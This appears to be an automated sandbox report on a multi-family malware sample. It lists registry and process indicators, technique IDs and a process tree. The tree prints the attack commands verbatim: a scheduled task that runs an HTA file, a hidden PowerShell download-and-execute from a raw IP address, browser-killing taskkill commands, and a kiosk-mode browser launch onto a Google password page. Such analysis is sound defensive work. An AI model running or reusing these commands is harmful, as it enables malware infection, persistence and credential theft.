Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	00f24368ca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Rm3cVPI.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	588146a85c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	af26471a8e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	13c8cb249a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	00f24368ca.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	larBxd7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	56d7137.exe

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
6772	timeout.exe

Kills process with taskkill 5 IoCs

defense_evasion

pid	Process
3372	taskkill.exe
4740	taskkill.exe
2684	taskkill.exe
5884	taskkill.exe
1264	taskkill.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000_Classes\Local Settings	rapes.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4408	schtasks.exe
7968	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5452	powershell.exe
5452	powershell.exe
1580	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
1580	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
3708	rapes.exe
3708	rapes.exe
5360	MSBuild.exe
5360	MSBuild.exe
5360	MSBuild.exe
5360	MSBuild.exe
1956	MSBuild.exe
1956	MSBuild.exe
1956	MSBuild.exe
1956	MSBuild.exe
1972	588146a85c.exe
1972	588146a85c.exe
1972	588146a85c.exe
1972	588146a85c.exe
1972	588146a85c.exe
1972	588146a85c.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
6312	rapes.exe
6312	rapes.exe
6708	mtCxnCB.exe
6708	mtCxnCB.exe
6708	mtCxnCB.exe
6708	mtCxnCB.exe
6708	mtCxnCB.exe
6708	mtCxnCB.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3216	powershell.exe
3216	powershell.exe
3216	powershell.exe
6908	MSBuild.exe
6908	MSBuild.exe
6908	MSBuild.exe
6908	MSBuild.exe
12052	powershell.exe
12052	powershell.exe
12052	powershell.exe
7124	Jordan.com
7124	Jordan.com
7124	Jordan.com
7124	Jordan.com
7124	Jordan.com
7124	Jordan.com
8048	powershell.exe
8048	powershell.exe
8048	powershell.exe
5316	TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
5316	TempRXVJH0XE9B3X1OFZXDGK8SXKTTF9KHLL.EXE
8416	13c8cb249a.exe
8416	13c8cb249a.exe
7124	Jordan.com
7124	Jordan.com
7124	Jordan.com
7124	Jordan.com
8916	rapes.exe
8916	rapes.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
660	Process not Found
660	Process not Found
4004	tzutil.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe
7000	d979667a.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
3460	UZPt0hR.exe
3460	UZPt0hR.exe
3460	UZPt0hR.exe

Suspicious use of AdjustPrivilegeToken 54 IoCs

description	pid	Process
Token: SeDebugPrivilege	5452	powershell.exe
Token: SeDebugPrivilege	2684	taskkill.exe
Token: SeDebugPrivilege	5884	taskkill.exe
Token: SeDebugPrivilege	1264	taskkill.exe
Token: SeDebugPrivilege	3372	taskkill.exe
Token: SeDebugPrivilege	4740	taskkill.exe
Token: SeDebugPrivilege	3096	firefox.exe
Token: SeDebugPrivilege	3096	firefox.exe
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	3216	powershell.exe
Token: SeLoadDriverPrivilege	4004	tzutil.exe
Token: SeDebugPrivilege	12052	powershell.exe
Token: SeDebugPrivilege	7472	tasklist.exe
Token: SeDebugPrivilege	7364	tasklist.exe
Token: SeDebugPrivilege	8048	powershell.exe
Token: SeDebugPrivilege	7000	d979667a.exe
Token: SeBackupPrivilege	7000	d979667a.exe
Token: SeRestorePrivilege	7000	d979667a.exe
Token: SeLoadDriverPrivilege	7000	d979667a.exe
Token: SeShutdownPrivilege	7000	d979667a.exe
Token: SeSystemEnvironmentPrivilege	7000	d979667a.exe
Token: SeSecurityPrivilege	7000	d979667a.exe
Token: SeDebugPrivilege	10044	RYZusWg.exe
Token: SeDebugPrivilege	11440	powershell.exe
Token: SeBackupPrivilege	7000	d979667a.exe
Token: SeRestorePrivilege	7000	d979667a.exe
Token: SeDebugPrivilege	7000	d979667a.exe
Token: SeSystemEnvironmentPrivilege	7000	d979667a.exe
Token: SeSecurityPrivilege	7000	d979667a.exe
Token: SeCreatePermanentPrivilege	7000	d979667a.exe
Token: SeShutdownPrivilege	7000	d979667a.exe
Token: SeLoadDriverPrivilege	7000	d979667a.exe
Token: SeIncreaseQuotaPrivilege	7000	d979667a.exe
Token: SeSecurityPrivilege	7000	d979667a.exe
Token: SeSystemProfilePrivilege	7000	d979667a.exe
Token: SeDebugPrivilege	7000	d979667a.exe
Token: SeMachineAccountPrivilege	7000	d979667a.exe
Token: SeCreateTokenPrivilege	7000	d979667a.exe
Token: SeAssignPrimaryTokenPrivilege	7000	d979667a.exe
Token: SeTcbPrivilege	7000	d979667a.exe
Token: SeAuditPrivilege	7000	d979667a.exe
Token: SeSystemEnvironmentPrivilege	7000	d979667a.exe
Token: SeLoadDriverPrivilege	7000	d979667a.exe
Token: SeLoadDriverPrivilege	7000	d979667a.exe
Token: SeIncreaseQuotaPrivilege	7000	d979667a.exe
Token: SeSecurityPrivilege	7000	d979667a.exe
Token: SeSystemProfilePrivilege	7000	d979667a.exe
Token: SeDebugPrivilege	7000	d979667a.exe
Token: SeMachineAccountPrivilege	7000	d979667a.exe
Token: SeCreateTokenPrivilege	7000	d979667a.exe
Token: SeAssignPrimaryTokenPrivilege	7000	d979667a.exe
Token: SeTcbPrivilege	7000	d979667a.exe
Token: SeAuditPrivilege	7000	d979667a.exe
Token: SeSystemEnvironmentPrivilege	7000	d979667a.exe

Suspicious use of FindShellTrayWindow 38 IoCs

pid	Process
1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
3096	firefox.exe
1248	00f24368ca.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
1248	00f24368ca.exe
3096	firefox.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
7124	Jordan.com
7124	Jordan.com
7124	Jordan.com
7884	994c51a648.exe
7884	994c51a648.exe
7884	994c51a648.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
3096	firefox.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
1248	00f24368ca.exe
7124	Jordan.com
7124	Jordan.com
7124	Jordan.com
7884	994c51a648.exe
7884	994c51a648.exe
7884	994c51a648.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3096	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 3016	1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 1728 wrote to memory of 3016	1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 1728 wrote to memory of 3016	1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	86
PID 1728 wrote to memory of 3892	1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 1728 wrote to memory of 3892	1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 1728 wrote to memory of 3892	1728	2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe	87
PID 3016 wrote to memory of 4408	3016	cmd.exe	89
PID 3016 wrote to memory of 4408	3016	cmd.exe	89
PID 3016 wrote to memory of 4408	3016	cmd.exe	89
PID 3892 wrote to memory of 5452	3892	mshta.exe	91
PID 3892 wrote to memory of 5452	3892	mshta.exe	91
PID 3892 wrote to memory of 5452	3892	mshta.exe	91
PID 5452 wrote to memory of 1580	5452	powershell.exe	100
PID 5452 wrote to memory of 1580	5452	powershell.exe	100
PID 5452 wrote to memory of 1580	5452	powershell.exe	100
PID 1580 wrote to memory of 3708	1580	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE	101
PID 1580 wrote to memory of 3708	1580	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE	101
PID 1580 wrote to memory of 3708	1580	TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE	101
PID 3708 wrote to memory of 2948	3708	rapes.exe	104
PID 3708 wrote to memory of 2948	3708	rapes.exe	104
PID 2948 wrote to memory of 5360	2948	crypted.exe	105
PID 2948 wrote to memory of 5360	2948	crypted.exe	105
PID 2948 wrote to memory of 5360	2948	crypted.exe	105
PID 2948 wrote to memory of 5360	2948	crypted.exe	105
PID 2948 wrote to memory of 5360	2948	crypted.exe	105
PID 2948 wrote to memory of 5360	2948	crypted.exe	105
PID 2948 wrote to memory of 5360	2948	crypted.exe	105
PID 2948 wrote to memory of 5360	2948	crypted.exe	105
PID 2948 wrote to memory of 5360	2948	crypted.exe	105
PID 3708 wrote to memory of 4852	3708	rapes.exe	106
PID 3708 wrote to memory of 4852	3708	rapes.exe	106
PID 4852 wrote to memory of 1956	4852	bf942eb4e6.exe	107
PID 4852 wrote to memory of 1956	4852	bf942eb4e6.exe	107
PID 4852 wrote to memory of 1956	4852	bf942eb4e6.exe	107
PID 4852 wrote to memory of 1956	4852	bf942eb4e6.exe	107
PID 4852 wrote to memory of 1956	4852	bf942eb4e6.exe	107
PID 4852 wrote to memory of 1956	4852	bf942eb4e6.exe	107
PID 4852 wrote to memory of 1956	4852	bf942eb4e6.exe	107
PID 4852 wrote to memory of 1956	4852	bf942eb4e6.exe	107
PID 4852 wrote to memory of 1956	4852	bf942eb4e6.exe	107
PID 3708 wrote to memory of 1972	3708	rapes.exe	109
PID 3708 wrote to memory of 1972	3708	rapes.exe	109
PID 3708 wrote to memory of 1972	3708	rapes.exe	109
PID 3708 wrote to memory of 3008	3708	rapes.exe	112
PID 3708 wrote to memory of 3008	3708	rapes.exe	112
PID 3708 wrote to memory of 1248	3708	rapes.exe	119
PID 3708 wrote to memory of 1248	3708	rapes.exe	119
PID 3708 wrote to memory of 1248	3708	rapes.exe	119
PID 1248 wrote to memory of 2684	1248	00f24368ca.exe	120
PID 1248 wrote to memory of 2684	1248	00f24368ca.exe	120
PID 1248 wrote to memory of 2684	1248	00f24368ca.exe	120
PID 1248 wrote to memory of 5884	1248	00f24368ca.exe	122
PID 1248 wrote to memory of 5884	1248	00f24368ca.exe	122
PID 1248 wrote to memory of 5884	1248	00f24368ca.exe	122
PID 1248 wrote to memory of 1264	1248	00f24368ca.exe	124
PID 1248 wrote to memory of 1264	1248	00f24368ca.exe	124
PID 1248 wrote to memory of 1264	1248	00f24368ca.exe	124
PID 1248 wrote to memory of 3372	1248	00f24368ca.exe	126
PID 1248 wrote to memory of 3372	1248	00f24368ca.exe	126
PID 1248 wrote to memory of 3372	1248	00f24368ca.exe	126
PID 1248 wrote to memory of 4740	1248	00f24368ca.exe	128
PID 1248 wrote to memory of 4740	1248	00f24368ca.exe	128
PID 1248 wrote to memory of 4740	1248	00f24368ca.exe	128
PID 1248 wrote to memory of 5296	1248	00f24368ca.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2025-04-06_ebbfde535259121763840a367a9c1a92_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn i1I6smaA660 /tr "mshta C:\Users\Admin\AppData\Local\Temp\NxApPiCfy.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn i1I6smaA660 /tr "mshta C:\Users\Admin\AppData\Local\Temp\NxApPiCfy.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4408
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\NxApPiCfy.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3892
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5452
  - - C:\Users\Admin\AppData\Local\TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE
      "C:\Users\Admin\AppData\Local\TempZYJPFS3NVZZDEUDGURWAG3RBNUYGZRMT.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1580
    - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Identifies Wine through registry keys
        Adds Run key to start application
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3708
      - C:\Users\Admin\AppData\Local\Temp\10479130101\crypted.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479130101\crypted.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2948
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5360
      - C:\Users\Admin\AppData\Local\Temp\10479410101\bf942eb4e6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479410101\bf942eb4e6.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4852
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1956
      - C:\Users\Admin\AppData\Local\Temp\10479420101\588146a85c.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479420101\588146a85c.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1972
      - C:\Users\Admin\AppData\Local\Temp\10479430101\6d9c255261.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479430101\6d9c255261.exe"
        6⤵
        Checks BIOS information in registry
        Executes dropped EXE
        
        PID:3008
      - C:\Users\Admin\AppData\Local\Temp\10479440101\00f24368ca.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10479440101\00f24368ca.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:1248
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2684
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5884
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1264
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3372
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4740
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:5296
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        Drops desktop.ini file(s)
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3096
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1992 -prefsLen 27099 -prefMapHandle 1996 -prefMapSize 270279 -ipcHandle 2072 -initialChannelId {9c875fd1-91de-414d-9deb-7d020e8f9a29} -parentPid 3096 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3096" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        9⤵
        
        PID:1344
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2488 -prefsLen 27135 -prefMapHandle 2492 -prefMapSize 270279 -ipcHandle 2364 -initialChannelId {042849ac-da51-4c1d-9b3b-5f2f15345b25} -parentPid 3096 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3096" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        9⤵
        
        PID:4956
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3904 -prefsLen 25164 -prefMapHandle 3908 -prefMapSize 270279 -jsInitHandle 3912 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3920 -initialChannelId {5e5db6c4-9305-4658-8bc7-705f25b29ca6} -parentPid 3096 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3096" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        9⤵
        Checks processor information in registry
        
        PID:1736
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4068 -prefsLen 27276 -prefMapHandle 4072 -prefMapSize 270279 -ipcHandle 4168 -initialChannelId {4301f37d-ee50-4031-ae6e-b99530c4264c} -parentPid 3096 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3096" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        9⤵
        
        PID:4968
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2732 -prefsLen 34775 -prefMapHandle 3040 -prefMapSize 270279 -jsInitHandle 3176 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2860 -initialChannelId {8189e810-8935-4b6a-92d5-599655824e89} -parentPid 3096 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3096" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        9⤵
        Checks processor information in registry
        
        PID:4980
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5080 -prefsLen 35012 -prefMapHandle 5084 -prefMapSize 270279 -ipcHandle 5060 -initialChannelId {04b275a3-509d-4ded-9613-52c9d4e015d7} -parentPid 3096 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3096" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        9⤵
        Checks processor information in registry
        
        PID:5384
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5276 -prefsLen 32952 -prefMapHandle 5280 -prefMapSize 270279 -jsInitHandle 5284 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5292 -initialChannelId {9c9cafd1-b189-4647-87d6-d85dee85df40} -parentPid 3096 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3096" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        9⤵
        Checks processor information in registry
        
        PID:3432
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5520 -prefsLen 32952 -prefMapHandle 5524 -prefMapSize 270279 -jsInitHandle 5528 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5536 -initialChannelId {dc403cf6-8783-4800-ad37-fc4a9f5da152} -parentPid 3096 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3096" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        9⤵
        Checks processor information in registry
        
        PID:3088
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
